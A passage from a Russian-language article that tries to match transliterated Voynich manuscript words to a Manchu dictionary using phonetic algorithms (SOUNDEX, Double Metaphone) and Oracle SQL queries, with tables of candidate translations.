`'<1r.2> ', 'sory.cKhar.or,y.kair.chtaiin.Shar.are.cThar.cThar,dan'`
`'<1r.2> ', 'losi gus os i cuks šhungg tus url jus jus bug'`
Подпись в конце пятой строки первого параграфа **ydaraiShy** превращается в **ibusurti**. Мне кажется, что это какое-то имя собственное. В маньчжурском словаре такого слова нет, как я выяснил через простой поиск в facebook, это может означать человек родом из города Сурат ( «солнечный город») на юге Индии — по-русски как суртиец. Правда, не на маньчжурском, а на хинди или гуджарати…
##### Сравнение функции подобия
Слова и словосочетания, переведенные таблицей из VMS в латиницу, нужно сопоставить с словами из словаря Нормана. Одна запись в словаре содержит одно слово или словосочетание из нескольких маньчжурских слов заглавными буквами и их английский перевод, который может иметь несколько значений. Например:
**CŪŠILE** crystal
**NIYOHOMBI** to have sexual intercourse
В CŪŠILE транслируется первое слово *fachys* на первой странице **1r**, второе неоднократно мелькает в рукописи, включая грамматически верные склонения в маньчжурском. В этом же слове удобно показать добавочные буквы: C звучит как твердое «ч», Š — как «ш», Ū — примерно как «ю».
###### [SOUNDEX](http://ru.wikipedia.org/wiki/Soundex)
Для начала, чтобы проиндексировать и сопоставить словарь и рукопись я взял проcто функцию SOUNDEX. Это старейший фонетический алгоритм, создан аж в 1918 году и по-моему использовался еще до компьютеров при переписи населения США. Создав в таблице словаря и в таблице, где хранятся словарные фрагменты рукописи, столбцы с индексом SOUNDEX, можно по нему посмотреть варианты перевода.
К сожалению, SOUNDEX загребает слишком много лишнего. Он берет первые 2-3 слога из слова, переводит из в буквенно-цифровой код, где группы похожих звуков (т.е. букв) переводятся в один символ. Подробнее — в приведенной ссылке в Вики. Но он дает варианты перевода на английский! Это первое приближение, и оно очень важно.
###### [METAPHONE](http://en.wikipedia.org/wiki/Metaphone)
Развитие фонетических алгоритмов привело к созданию Metaphone и потом — Double Metaphone. Это более продвинутый вариант сравнения слов. Вместо буквенно-цифрового кода из слова или фразы вычисляется чисто буквенный код, приведенный к одному регистру. Обычно гласные убираются, парные или похожие согласные сворачиваются в одного представителя. Все разделители и небуквенные символы игнорируются. Metaphone появился на границе 80х-90х, Double Metaphone — в середине 90х, Metaphone 3 — в 2009. Последний является коммерческим софтом, продается вместе с небольшой базой для сравнения имен и фамилий, написанных по-английски. Есть реализации Double Metaphone для разных языков, учитывающих произношения в них латинских букв и буквосочетаний. Есть и для русского. Для маньчжурского нет. Я нашел свободную реализацию Double Metaphone на PL/SQL, и немного расширил ее, добавив вышеописанные буквы и еще парочку подобных. В репозитории она доступна, там буквально несколько строчек изменены. Да, особенности морфологии языка со всякими склонениями, суффиксами и приставками он не поймает, но даже то, что получилось — очень интересно.
Соединение таблицы с пословной нарезкой манускрипта и маньчжурского словаря по полю кода METAPHONE (MPH\_CODE) через LEFT JOIN.
Ниже в таблице показаны варианты перевода первой строки первой страницы [<1r.1>](http://www.jasondavies.com/voynich/#f1r/0.515/0.319/3.00). Большинство слов имеет несколько вариантов, но для слова 5 ( *uhungg* ) и 8 ( *jolkl* ) их нет ни одного.
`'<1r.1> ', 'fachys.ykal.ar.ataiin.Shol.Shory.cThres.y,kor.Sholdy'`
`'<1r.1> ', 'cušil i cum us uhungg tom tosi jolkl i cos tombi'`
**N** — номер слова в строке <1r.1>
**NWORD** — слово в предложенный алфавит
**MPH\_CODE** — метафоновский код слова NWORD
**WORD** — вариант маньчжурского слова из словаря Нормана, у которого метафоновский код равен коду от NWORD
**TRANSLATION** — перевод маньчжурского слова
| N | NWORD | MPH\_CODE | WORD | TRANSLATION |
| --- | --- | --- | --- | --- |
| 1 | cusil | CSL | CUSILE | crystal |
| 2 | i | I | I | 1. he, she 2. the genitive particle 3. an interjection used to get the attention of subordinates |
| 2 | i | I | IO | oil, paint, lacquer |
| 2 | i | I | II | see i i |
| 2 | i | I | IOI | 1. a musical instrument made in the shape of a lying tiger--the toothed ridge down the back is stroked with a wooden stick at the conclusion of a musical selection 2. one of the five tones; cf. yumk'a |
| 2 | i | I | I I | 1. (onom.) the sound of sobbing 2. an interjection of derision |
| 3 | cum | CM | CIME | a salt-water fish resembling the salmon |
| 3 | cum | CM | COMO | see coman |
| 4 | us | US | USE | seed, egg (of an insect) |
| 4 | us | US | UCE | door |
| 4 | us | US | USA | exclamation used to get someone's attention |
| 5 | uhungg | | | |
| 6 | tom | TM | TOOME | see tome |
| 6 | tom | TM | TOMOO | frame used for weaving nets |
| 6 | tom | TM | TIMU | topic, theme |
| 6 | tom | TM | TOME | (postposition) every, each |
| 6 | tom | TM | TAMA | sole (fish) |
| 7 | tosi | TS | TEISU | 1. assigned place, designated place, responsibility, one's part 2. corresponding, matching, facing, opposite |
| 7 | tosi | TS | TESU | original, local |
| 7 | tosi | TS | TOOSE | 1. weight (for a balance) 2. power, authority, right 3. spindle |
| 7 | tosi | TS | TOSE | see toose |
| 7 | tosi | TS | TESE | plural of tere: those, they |
| 7 | tosi | TS | TES | (onom.) the sound of rope, thread, or a leather thong breaking under stress |
| 7 | tosi | TS | TOSI | white spot on the forehead of an animal |
| 7 | tosi | TS | TSU | vinegar |
| 7 | tosi | TS | TUSA | profit, gain, benefit, advantage |
| 7 | tosi | TS | TUSY | chieftain of a native tribe |
| 8 | jolkl | | | |
| 9 | i | I | II | see i i |
| 9 | i | I | IOI | 1. a musical instrument made in the shape of a lying tiger--the toothed ridge down the back is stroked with a wooden stick at the conclusion of a musical selection 2. one of the five tones; cf. yumk'a |
| 9 | i | I | I I | 1. (onom.) the sound of sobbing 2. an interjection of derision |
| 9 | i | I | IO | oil, paint, lacquer |
| 9 | i | I | I | 1. he, she 2. the genitive particle 3. an interjection used to get the attention of subordinates |
| 10 | cos | CS | CECE | silk gauze |
| 10 | cos | CS | CASI | in that direction, thither, there |
| 10 | cos | CS | CESE | register, official record |
| 10 | cos | CS | CISE | vegetable or flower garden |
| 10 | cos | CS | CAISI | see caste |
| 10 | cos | CS | CISU | private, private interest or profit |
| 10 | cos | CS | CISUI | out of one's own interest, on one's initiative, naturally (see also ini cisui), privately, on one's own |
| 10 | cos | CS | COS | the sound of ricocheting or rebounding |
| 10 | cos | CS | CUSE | 1. bamboo 2. silk 3. a cook |
| 10 | cos | CS | CAISE | 1. hairpin 2. a cake made of fried vermicelli |
| 11 | tombi | TMB | TUMBI | to hunt, to pursue |
| 11 | tombi | TMB | TOOMBI | to scold, to rail at, to abuse, to curse |
| 11 | tombi | TMB | TEMBI | 1. to sit 2. to reside, to live 3. to occupy (a post) |
| 11 | tombi | TMB | TAMBI | 1. to get caught on something, to get entangled and trip over something 2. to get caught in a trap or net |
| 11 | tombi | TMB | TUMBI | to hit, to beat, to pound; cf. dumbi |
| 11 | tombi | TMB | TOMBI | see toombi |
Как видите, некоторые слова похожи по виду, некоторые отстоят далековато, из-за почти полного вырезания гласных в коде от слова выдаются все варианты маньчжурских слов, у которых между согласными совсем другие гласные звуки. Коротки одно- и двух-буквенные слова — вообще «пальцем в небо». Но уже интересно — намного интереснее, чем искать по словарю вручную с Ctrl-F.
Всего использовалось три модификации метафона — исходная английская и еще две модифицированные, со дополнительными буквами и с изменениями правил свертки.
##### Пересылки на синонимы в поле перевода
Небольшая коррекция словаря — к полю перевода, содержащее пересылки «see SOME\_OTHER\_WORD» через разделитель добавляется перевод этого синонима.
Пересылки на синонимы ловятся регулярным выражением.
Например приведенный выше в таблице:
**TOSE** see toose
сразу дополняется переводом ссылки:
**TOSE** see toose :: 1. weight (for a balance) 2. power, authority, right 3. spindle
##### Морфология. Склонения глаголов по временам
Идем дальше. Можно погрузиться в язык глубже. Глаголы в маньчжурском склоняются по временам добавлением окончания. Вот [здесь](http://en.wikibooks.org/wiki/Manchu/Lesson_6_-_Verbs_1) приведена таблица склонений с примерами и соответствиями английским временам. Можно заметить, что на один английский Present Continious или Past Continious есть несколько разных маньчжурских вариантов. Видимо они отражают какие-то непонятные мне тонкости или это просто синонимы, но для поиска соответствий в Войниче это не важно. Из таблицы словаря делаем и сохраняем выборку глаголов в форме инфинитива — то есть все слова заканчивающиеся на инфинитивное окончание -MBI и имеющие в поле перевода подстроку " to ". Убрав окончание и сохранив результат в отдельную таблицу, получаем список глагольных маньчжурских корней MANCHU\_VERB\_STEM.
Например, глагол **AKŪMBI** (to die) сохраняется как: **AKŪ**.
Из указанной выше ссылки берем таблицу склонений и делаем справочную таблицу MANCHU\_VERB\_SUFFIX:
Все возможные варианты склонений глаголов — это фактически декартово произведение этих таблиц. Причем поиск в манускрипте проводится точно так же, по коду Metaphone, а при склонении к коду корня глагола добавляется метафоновский код окончания-суффикса. Из-за этого можно пренебречь разными вариантами окончаний для большинства времен.
Например из склонений Simple Past в словаре к разным глаголам добавляются разные окончания, но для поиска по по нарезанному манускрипту к метафоновскому коду добавится только **H** или **K**.
**Past** -ha (-he, -ho, -ka, -ke, -ko), Example: ara**ha** (I wrote)
Вот так выглядит часть кода представления TRANSL\_VERBS21, выдающее варианты перевода сразу одно- и двух-словных сочетаний с учетом морфологии глаголов: варианты склонений выдаются через внутренний подзапрос с UNION ALL:
```
SELECT LPAD (
TRIM ( REGEXP_REPLACE (idx, '<([[:digit:]]+)([rv]).([[:digit:]]*)>',
'\1')), 3, '0') lpad1,
REGEXP_REPLACE (idx, '<([[:digit:]]+)([rv]).([[:digit:]]*)>', '\2') lpad2,
LPAD( trim( regexp_replace(idx, '(\.[:digit:]*)>', '\1') ) , 3, '0') lpad3,
nw.ID,
nw.id_type,
nw.n_type,
nw.idx,
nw.n,
nw.nword,
nw.sound_code,
nw.mph21_code,
v.word,
v.translation
FROM VMS.gonk2_nword nw
LEFT JOIN
(SELECT VS.STEM || suff.suffix WORD,
suff.description || ' : ' || VS.TRANSLATION translation,
metaphone21 (VS.STEM || suff.suffix) mph21
FROM VMS.MANCHU_VERB_STEM vs
CROSS JOIN VMS.MANCHU_VERB_SUFFIX suff
WHERE suff.suffix <> 'mbi'
UNION ALL
SELECT D.WORD, D.TRANSLATION, D.MPH21_CODE
FROM VMS.MANCHU_DICT_JOIN d) v
ON NW.MPH21_CODE = v.mph21
WHERE nw.n_type IN (1, 2)
```
Пример. В маньчжурской грамматике есть еще множество вариантов изменения глаголов с помощью суффиксов, но совсем глубоко закапываться — заняло слишком много сил, так что давайте просто посмотрим, как выявляются морфологии глагола **NIYOHOMBI**:
```
select * from VMS.TRANSL_VERBS21 rt
where 1=1
and (
word like '%HOMBI%'
or translation like '%niyohomb%'
or word like '%NIOH%'
)
and n_type = 2
```
#### Результаты
##### Пересечение со словами из списка Сводеша
[Списки Сводеша](http://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%A1%D0%B2%D0%BE%D0%B4%D0%B5%D1%88%D0%B0) (Swadesh lists) — базисная лексика, наборы основных слов, по которым лингвисты оценивают родство двух или нескольких языков между собой. Например, вот [здесь](http://en.wiktionary.org/wiki/Appendix:Swadesh_lists_for_Slavic_languages) таблица сравнения славянских языков по списку Сводеша. Также по таблицам оценивают скорость изменения языка во времени. Базовые слова из таких списков замещаются или меняются намного реже, чем другие, но время от времени и они тоже. Например, в русском языке слово «глаз» — наносное, почти жаргонное, пришло на смену общеславянскому слову «око» в каком-то там 13 или 14 веке. Первоначально означало камешек с дыркой внутри. Очи остались в поэзии, пословицах и церковных текстах. Списки Сводеша есть на 100, 200 и 215 слов. Пишут, что лингвисты больше всего используют самый короткий список на 100 слов. Если интересно, вот [биография](http://langopedia.ru/2012/09/10/swadesh_lis/) Морриса Сводеша на русском.
Просто для интереса я записал большой английско-маньчжурский список на 207 слов в отдельную таблицу и пересек со всеми переводами всех наборов из 1 и 2 слов из манускрипта, отсортировав по частоте. Получилась вот такая таблица — это самые верхние, 33 самых частых слов. Тут тоже не все чисто, потому что многие маньчжурские слова в нем приведены в 2 или 3 вариантах в одном поле и значит в, но для первичной оценки — сойдет.
```
select T21.NWORD, SWM.ENG_WORD, SWM.WORD, count(*)
from VMS.TRANSL_VERBS21 t21 JOIN (select eng_word, upper(word) WORD
from VMS.SWADESH_MANCHU ) swm
ON swm.word = t21.word
group by T21.NWORD, SWM.ENG_WORD, swm.word
order by 4 desc
```
Похожих слов не так много, но кое что есть: seed, right, sun, you, to give и несколько других:
**Топ 30 таблицы**
| | | | |
| --- | --- | --- | --- |
| **NWORD** | **SWADESH\_ENGLISH** | **SWADESH\_MANCHU** | **COUNT** |
| us | seed | USE | 559 |
| bi | moon | BIYA | 306 |
| s | you (sing.) | SI | 290 |
| burg | dust | BURAKI | 194 |
| n'o | earth | NA | 171 |
| ji | and | JAI | 111 |
| ji | child | JUI | 111 |
| b | moon | BIYA | 101 |
| tgi | cloud | TUGI | 57 |
| tobi | there | TUBA | 52 |
| fus | back | FISA | 47 |
| tbi | there | TUBA | 40 |
| usi | seed | USE | 35 |
| n'oh | earth | NA | 34 |
| n | earth | NA | 32 |
| tji | cloud | TUGI | 32 |
| šun | sun | ŠUN | 21 |
| šun | ear | ŠAN | 21 |
| jo | child | JUI | 20 |
| jo | and | JAI | 20 |
| bo | moon | BIYA | 20 |
| ici | right | ICI | 19 |
| ici | new | ICE | 19 |
| šon | ear | ŠAN | 15 |
| šon | sun | ŠUN | 15 |
| tob | there | TUBA | 12 |
| si | you (sing.) | SI | 12 |
| toji | cloud | TUGI | 12 |
| tb | there | TUBA | 12 |
| sun | good | SAIN | 12 |
| so | you (sing.) | SI | 11 |
| bumbi | to give | BUMBI | 9 |
##### Статистика по характерным маньчжурским буквосочетаниям
Следующий запрос показывает распределение по частоте таких слов и пар слов с убранными пробелами, которые строго совпадают со словами из словаря. Из всего множества выбраны слова, имеющие характерные для маньчжурского буквосочетания — типа **ng** , **os**, **mb** и так далее. Буквосочетния были выявлены из текста VMS онлайновым анализатором [TAPoR](http://taporware.ualberta.ca/) с сайта канадского университета Макмастера. Сейчас там есть целая [коллекция](http://www.tapor.ca/) анализаторов и визуализаторов зависимостей в текстах, но именно этот, что на скриншоте, к сожалению уже недоступен. Есть версия, где нужно копи-пастить текст в форму на страничке, но ссылку на текст передать в параметрах уже нельзя.
Для сравнения — визуализация то же программой собранного мной [крошечного](http://en.wikibooks.org/wiki/Manchu) маньчжурского корпуса на 14 кб. Это почти все, что удалось накопать — несколько коротких сказок, несколько страниц перевода Дао Де Цзин и несколько материалов для чтения.
Заметно, что визуализатор выделяет уже целые длинные слова, такие как **niyalma** (человек) или **bithe**( книга). Таких слов в манускрипте нет, но зато есть множество редких обрывков или целых слов, вполне согласующихся с грамматикой языка, многие даже со склонениями.
В [статье](http://www.plosone.org/article/info:doi/10.1371/journal.pone.0066344) Монтемурро проанализированы энтропийные близости слов рукописи и на построена диаграмма нескольких кластеров слов, связанных между собой большой близостью ( [Рис.2](http://www.plosone.org/article/info:doi/10.1371/journal.pone.0066344) ). Этот же рисунок графов с наложенными «переводами» выглядит так.
Здесь я пропустил несколько слов и надо было с самого начала делать синий цвет у всех надписей…
Приведенный ниже запрос считает статистику по частоте слов с включениями характерных частей, выделенных онлайновым анализатором из первого скриншота. Еще ниже показаны результаты.
```
select nword, word, translation , count(*)
from VMS.TRANSL_VERBS21 t
where ( T.NWORD like '%ng%'
OR nword like '%mb%'
OR nword like '%us%'
OR nword like '%os%'
OR nword like '%šom%'
OR nword like '%um%'
OR nword like '%tk%'
OR nword like '%urg%'
OR nword like '%ur%'
)
and upper(trim( replace(nword,' ') )) = word
group by nword, word, translation
order by 4 desc
```
Всего в таблице 38 слов, но показаны 17 с частотой более 1, остальные под спойлером.
| NWORD | WORD | TRANSLATION | COUNT(\*) |
| --- | --- | --- | --- |
| cos | COS | the sound of ricocheting or rebounding | 28 |
| ombi | OMBI | (imperfect participle -joro, imperative -so) 1. to become, to change into 2. to be, to exist 3. to be proper, to be permissible | 18 |
| usun | USUN | fussy, bothersome, overly talkative | 11 |
| us un | USUN | fussy, bothersome, overly talkative | 10 |
| bumbi | BUMBI | (-he) to give | 9 |
| šom bi | ŠOMBI | (-ha) 1. to scrape, to scrape off, to level off 2. to curry (livestock) | 8 |
| tombi | TOMBI | see toombi :: to scold, to rail at, to abuse, to curse | 8 |
| oso | OSO | the imperative of ombi | 6 |
| tosi | TOSI | white spot on the forehead of an animal | 6 |
| šombi | ŠOMBI | (-ha) 1. to scrape, to scrape off, to level off 2. to curry (livestock) | 5 |
| os o | OSO | the imperative of ombi | 4 |
| bum bi | BUMBI | (-he) to give | 3 |
| fusi | FUSI | abominable, loathsome, frightful, monstrous | 3 |
| bombi | BOMBI | (-ngko, -re) to pierce, to bore, to make a hole with an awl or pick | 2 |
| urg un | URGUN | 1. joy, felicity, happiness 2. auspicious sign, good portent 3. congratulations | 2 |
| uri | URI | 1. a round straw container used for storing grain 2. see urui :: 1. just, only 2. steadily, consistently, always | 2 |
| dombi | DOMBI | to alight (of birds and insects) | 2 |
**Остальные слова с ng, os, mb и т.д.**
| NWORD | WORD | TRANSLATION | COUNT(\*) |
| --- | --- | --- | --- |
| dumbi | DUMBI | (for tūmbi) to hit, to strike | 1 |
| jombi | JOMBI | (2) (-ngko, -ndoro, -mpi) 1. to bring to mind, to recall, to mention, to bring up 2. to move in the womb | 1 |
| fus i | FUSI | abominable, loathsome, frightful, monstrous | 1 |
| tos i | TOSI | white spot on the forehead of an animal | 1 |
| jombi | JOMBI | (1) (-ho, -ro) to cut with a fodder knife | 1 |
| gombi | GOMBI | (-ha) to go back on one's word, to break a promise, to renege | 1 |
| obumbi | OBUMBI | 1. caus. of ombi 2. to make, to make into, to cause to become, to consider as | 1 |
| urgun | URGUN | 1. joy, felicity, happiness 2. auspicious sign, good portent 3. congratulations | 1 |
| mus i | MUSI | a broth made of roasted flour, sugar., and water | 1 |
| šos ihi | ŠOSIHI | see šosiki :: 1. quick-tempered, irascible 2. chipmunk (Eutamius sibiricus) | 1 |
| fumbi | FUMBI | (2) (-ngke, -mpi) to become numb | 1 |
| fursun | FURSUN | 1. shoots, sprouts (especially of a grain) 2. sawdust | 1 |
| šum bi | ŠUMBI | (-ngke, -mpi) to be thoroughly acquainted with, to be well-versed in, to know thoroughly | 1 |
| ungg u | UNGGU | 1. first, original 2. the first player at the gacuha game | 1 |
| urg umbi | URGUMBI | see urhumbi :: to lean to one side, to be lopsided, to be partial, to be prejudiced to one side | 1 |
| b ombi | BOMBI | (-ngko, -re) to pierce, to bore, to make a hole with an awl or pick | 1 |
| us umbi | USUMBI | to go downstream, to go with the current | 1 |
| tumbi | TUMBI | to hunt, to pursue | 1 |
| om osi | OMOSI | plural of omolo | 1 |
| bombon | BOMBON | a pile, a wad, a cluster, a bunch | 1 |
| fumbi | FUMBI | (1) (-ha/he) to wipe, to wipe off | 1 |
Напоследок — таблица точных соответствий слов из манускрипта и словаря, длиной не менее 3 букв, отсортированных по убыванию длины и только потом по частоте.
Опять, топ показан, остальное — под спойлером. Тексты запросов приводятся лишь потому, что по моему мнению наиболее компактно выражают, что в таблице.
```
select nword, word, translation , count(*)
from VMS.TRANSL_VERBS21 t
where
upper(trim( replace(nword,' ') )) = word
and length(word) >= 3
group by nword, word, translation
order by length(word) desc, 4 desc
```
| NWORD | WORD | TRANSLATION | COUNT(\*) |
| --- | --- | --- | --- |
| urg umbi | URGUMBI | see urhumbi :: to lean to one side, to be lopsided, to be partial, to be prejudiced to one side | 1 |
| bombon | BOMBON | a pile, a wad, a cluster, a bunch | 1 |
| obumbi | OBUMBI | 1. caus. of ombi 2. to make, to make into, to cause to become, to consider as | 1 |
| šos ihi | ŠOSIHI | see šosiki :: 1. quick-tempered, irascible 2. chipmunk (Eutamius sibiricus) | 1 |
| us umbi | USUMBI | to go downstream, to go with the current | 1 |
| fursun | FURSUN | 1. shoots, sprouts (especially of a grain) 2. sawdust | 1 |
| bumbi | BUMBI | (-he) to give | 9 |
| tombi | TOMBI | see toombi :: to scold, to rail at, to abuse, to curse | 8 |
| šom bi | ŠOMBI | (-ha) 1. to scrape, to scrape off, to level off 2. to curry (livestock) | 8 |
| šombi | ŠOMBI | (-ha) 1. to scrape, to scrape off, to level off 2. to curry (livestock) | 5 |
| tom bi | TOMBI | see toombi :: to scold, to rail at, to abuse, to curse | 4 |
| bum bi | BUMBI | (-he) to give | 3 |
| bombi | BOMBI | (-ngko, -re) to pierce, to bore, to make a hole with an awl or pick | 2 |
| dombi | DOMBI | to alight (of birds and insects) | 2 |
| urg un | URGUN | 1. joy, felicity, happiness 2. auspicious sign, good portent 3. congratulations | 2 |
| b ombi | BOMBI | (-ngko, -re) to pierce, to bore, to make a hole with an awl or pick | 1 |
| jom bi | JOMBI | (1) (-ho, -ro) to cut with a fodder knife | 1 |
| ungg u | UNGGU | 1. first, original 2. the first player at the gacuha game | 1 |
| bom bi | BOMBI | (-ngko, -re) to pierce, to bore, to make a hole with an awl or pick | 1 |
| jombi | JOMBI | (2) (-ngko, -ndoro, -mpi) 1. to bring to mind, to recall, to mention, to bring up 2. to move in the womb | 1 |
| dumbi | DUMBI | (for tūmbi) to hit, to strike | 1 |
| dom bi | DOMBI | to alight (of birds and insects) | 1 |
| šum bi | ŠUMBI | (-ngke, -mpi) to be thoroughly acquainted with, to be well-versed in, to know thoroughly | 1 |
**Остальные 83 слова**
| NWORD | WORD | TRANSLATION | COUNT(\*) |
| --- | --- | --- | --- |
| ici hi | ICIHI | spot, blemish, flaw | 1 |
| fumbi | FUMBI | (2) (-ngke, -mpi) to become numb | 1 |
| jom bi | JOMBI | (2) (-ngko, -ndoro, -mpi) 1. to bring to mind, to recall, to mention, to bring up 2. to move in the womb | 1 |
| tumbi | TUMBI | to hunt, to pursue | 1 |
| urgun | URGUN | 1. joy, felicity, happiness 2. auspicious sign, good portent 3. congratulations | 1 |
| om osi | OMOSI | plural of omolo | 1 |
| gombi | GOMBI | (-ha) to go back on one's word, to break a promise, to renege | 1 |
| jombi | JOMBI | (1) (-ho, -ro) to cut with a fodder knife | 1 |
| fumbi | FUMBI | (1) (-ha/he) to wipe, to wipe off | 1 |
| ombi | OMBI | (imperfect participle -joro, imperative -so) 1. to become, to change into 2. to be, to exist 3. to be proper, to be permissible | 18 |
| usun | USUN | fussy, bothersome, overly talkative | 11 |
| us un | USUN | fussy, bothersome, overly talkative | 10 |
| tosi | TOSI | white spot on the forehead of an animal | 6 |
| om bi | OMBI | (imperfect participle -joro, imperative -so) 1. to become, to change into 2. to be, to exist 3. to be proper, to be permissible | 4 |
| gobi | GOBI | desert, wasteland | 4 |
| lobi | LOBI | gluttonous, ravenous | 4 |
| lomi | LOMI | rice kept in storage for a number of years--the same as hukšeri bele | 3 |
| uhun | UHUN | bundle, package | 3 |
| hogi | HOGI | turkey | 3 |
| fusi | FUSI | abominable, loathsome, frightful, monstrous | 3 |
| šoho | ŠOHO | the white of an egg | 3 |
| kobi | KOBI | 1. concave place, depression 2. the depressions on both sides of the nose | 3 |
| šuci | ŠUCI | one who pretends to know what he in fact doesn't | 2 |
| šoli | ŠOLI | falling short, short of the mark | 2 |
| ucun | UCUN | song, ballad | 2 |
| l omi | LOMI | rice kept in storage for a number of years--the same as hukšeri bele | 1 |
| to bo | TOBO | a simple hut made from willow branches or other like material | 1 |
| fus i | FUSI | abominable, loathsome, frightful, monstrous | 1 |
| un un | UNUN | a load (that can be carried on the back), burden | 1 |
| hoji | HOJI | coriander | 1 |
| tos i | TOSI | white spot on the forehead of an animal | 1 |
| šol o | ŠOLO | 1. free time, leisure, vacation, leave 2. opportunity 3. empty space | 1 |
| jo lo | JOLO | 1. doe, female deer 2. hateful, hideous | 1 |
| luši | LUŠI | secretary in a Board of the eighth or ninth rank | 1 |
| foji | FOJI | a skin covering for boots and shoes (worn in cold weather) | 1 |
| mus i | MUSI | a broth made of roasted flour, sugar., and water | 1 |
| onon | ONON | the male zeren; cf. jeren | 1 |
| com o | COMO | see coman :: goblet, large cup for wine | 1 |
| joli | JOLI | a ladle with many small holes in it used for straining | 1 |
| biši | BIŠI | crab louse, tick | 1 |
| l obi | LOBI | gluttonous, ravenous | 1 |
| goji | GOJI | a crooked finger | 1 |
| bi ši | BIŠI | crab louse, tick | 1 |
| dobi | DOBI | fox | 1 |
| toho | TOHO | a half-grown moose | 1 |
| oton | OTON | a wooden tub without handles or feet | 1 |
| oci | OCI | (conditional of ombi) a particle used to set off the subject: 'as for' | 106 |
| cos | COS | the sound of ricocheting or rebounding | 28 |
| fun | FUN | 1. one-hundredth (of a Chinese foot) 2. powder 3. fragrant odor | 28 |
| šun | ŠUN | 1. sun 2. day | 21 |
| ici | ICI | 1. right (as opposed to left) 2. direction, dimension 3. in accordance with, along with, after, according to, facing, on the side of, toward | 19 |
| oho | OHO | armpit; cf. 0, o mayan, ogū | 18 |
| sun | SUN | milk | 12 |
| tob | TOB | straight, upright, serious, right, just | 12 |
| tun | TUN | island | 8 |
| jon | JON | memory, recall | 8 |
| ofi | OFI | 1. a snare for catching pheasants 2. (perfect converb of ombi) because | 7 |
| bon | BON | pick, awl, tool for making holes in ice | 7 |
| oso | OSO | the imperative of ombi | 6 |
| ton | TON | 1. number 2. counting, reckoning 3. fate 4. one of the twenty-four divisions of the solar year | 5 |
| omo | OMO | lake, pond | 4 |
| os o | OSO | the imperative of ombi | 4 |
| hoi | HOI | see hūi :: 1. red felt edging on the lower part of a saddle blanket 2. an exclamation--now, then 3. meeting, assembly, association | 3 |
| s un | SUN | milk | 2 |
| uri | URI | 1. a round straw container used for storing grain 2. see urui :: 1. just, only 2. steadily, consistently, always | 2 |
| ošo | OŠO | a leather glove with three fingers used for holding falcons | 2 |
| icu | ICU | a fur coat or jacket without an outer covering | 2 |
| son | SON | rafter, roof support of a tent | 2 |
| jo n | JON | memory, recall | 2 |
| om o | OMO | lake, pond | 2 |
| o so | OSO | the imperative of ombi | 1 |
| ogo | OGO | 1. the depression of a mortar 2. the holes on the iron plate that is used for making the heads of nails | 1 |
| i ci | ICI | 1. right (as opposed to left) 2. direction, dimension 3. in accordance with, along with, after, according to, facing, on the side of, toward | 1 |
| joo | JOO | 1. an imperial order 2. interjection: enough! stop! it won't do! | 1 |
| isi | ISI | Japanese larch | 1 |
| coo | COO | a spade | 1 |
| tok | TOK | (onom.) the sound of striking a hollow wooden object | 1 |
| don | DON | fluttering of birds from one place to another, alighting (of birds) | 1 |
| co s | COS | the sound of ricocheting or rebounding | 1 |
| jun | JUN | 1. stove, hearth 2. tissue, pulp of a tree 3. vein | 1 |
| too | TOO | a hand drum | 1 |
| hon | HON | very, most, too | 1 |
| uli | ULI | 1. bowstring 2. fruit of the flowering cherry (Prunus sinensis) | 1 |
##### Отдельные слова
Статистика по некоторым словам, отобранных по словарю. Прежде всего интересно искать в травнике. Из списка убрал слово «женщина», чтобы сократить вывод.
```
select nword, word, translation , count(*)
from VMS.TRANSL_VERBS21 t
where
(
translation like '%magic%'
or translation like '%medicine%'
or translation like '%herb%'
or translation like '%grass%'
or translation like '%medicine%'
-- or translation like '%woman%'
)
group by nword, word, translation
order by word , 4 desc
```
Вот, что получается. Здесь уже не только полностью совпадающие слова, но все совпадения по метафону — поэтому некоторые непохожи. Но магии ( FANGGA) в тексте достаточно…
| NWORD | WORD | TRANSLATION | COUNT(\*) |
| --- | --- | --- | --- |
| bcti | BEKTO | fritillary (an herbal medicine) | 2 |
| b icti | BEKTO | fritillary (an herbal medicine) | 1 |
| bi octo | BEKTO | fritillary (an herbal medicine) | 1 |
| bi gti | BEKTO | fritillary (an herbal medicine) | 1 |
| bocti | BEKTO | fritillary (an herbal medicine) | 1 |
| bkt | BEKTO | fritillary (an herbal medicine) | 1 |
| bi icto | BEKTO | fritillary (an herbal medicine) | 1 |
| bicti | BEKTO | fritillary (an herbal medicine) | 1 |
| c kurg | CACARAKŪ | a gray grasshopper | 1 |
| droci | DERESU | feather grass, broom grass (Lasiagrostis splendens) | 1 |
| fungg | FANGGA | magic, possessed of magic powers | 108 |
| f ungg | FANGGA | magic, possessed of magic powers | 4 |
| fo ungg | FANGGA | magic, possessed of magic powers | 1 |
| fi iungg | FANGGA | magic, possessed of magic powers | 1 |
| fungg i | FANGGA | magic, possessed of magic powers | 1 |
| fngg | FANGGA | magic, possessed of magic powers | 1 |
| fungg? | FANGGA | magic, possessed of magic powers | 1 |
| fun icko | FANGGA | magic, possessed of magic powers | 1 |
| fumobi | FEMBI | 1. to lay out new-mown hay or other grass to dry 2. to talk heedlessly | 1 |
| fumbi | FEMBI | 1. to lay out new-mown hay or other grass to dry 2. to talk heedlessly | 1 |
| fi hi | FEha | Simple Past: 1. to lay out new-mown hay or other grass to dry 2. to talk heedlessly | 1 |
| fug | FEka | Simple Past (suff.k): 1. to lay out new-mown hay or other grass to dry 2. to talk heedlessly | 2 |
| fi ohki | FEka | Simple Past (suff.k): 1. to lay out new-mown hay or other grass to dry 2. to talk heedlessly | 1 |
| fuk | FEka | Simple Past (suff.k): 1. to lay out new-mown hay or other grass to dry 2. to talk heedlessly | 1 |
| fum bumbi | FEme bimbi | Present Continuous 1: 1. to lay out new-mown hay or other grass to dry 2. to talk heedlessly | 1 |
**Остальное. Примерно сотня строк, некоторые интересны. Например OKTO - 1. drug, medicine 2. gunpowder 3. dye 4. poison**
| NWORD | WORD | TRANSLATION | COUNT(\*) |
| --- | --- | --- | --- |
| fi | FOYO | 1. ula grass--a soft grass used as padding in shoes 2. cloth woven from horsehair | 67 |
| f | FOYO | 1. ula grass--a soft grass used as padding in shoes 2. cloth woven from horsehair | 16 |
| ?fi | FOYO | 1. ula grass--a soft grass used as padding in shoes 2. cloth woven from horsehair | 4 |
| fu | FOYO | 1. ula grass--a soft grass used as padding in shoes 2. cloth woven from horsehair | 2 |
| fo | FOYO | 1. ula grass--a soft grass used as padding in shoes 2. cloth woven from horsehair | 2 |
